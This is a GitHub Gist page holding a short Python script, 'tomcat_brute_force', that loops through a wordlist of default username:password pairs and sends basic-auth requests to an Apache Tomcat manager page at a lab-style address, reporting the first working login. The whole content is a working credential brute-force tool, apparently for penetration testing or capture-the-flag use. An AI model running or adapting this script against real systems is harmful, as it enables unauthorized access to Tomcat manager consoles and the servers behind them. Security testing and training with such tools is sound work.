Last active
November 8, 2019 06:59
-
-
Save egre55/36e603796dc342da4dd74785b2cb3578 to your computer and use it in GitHub Desktop.
tomcat_brute_force
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# author: @egre55 | |
# script to automate the testing of common apache tomcat credentials | |
#!/usr/bin/env python | |
import sys | |
import requests | |
with open('tomcat-betterdefaultpasslist.txt') as f: | |
for line in f: | |
c = line.strip('\n').split(":") | |
r = requests.get('http://10.10.10.10:8080/manager/html', auth=(c[0], c[1])) | |
sys.stdout.write("\033[K") | |
sys.stdout.write(line.strip('\n') + '\r') | |
sys.stdout.flush() | |
if r.status_code == 200: | |
print "Found valid credentials \"" + line.strip('\n') + "\"" | |
raise sys.exit() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment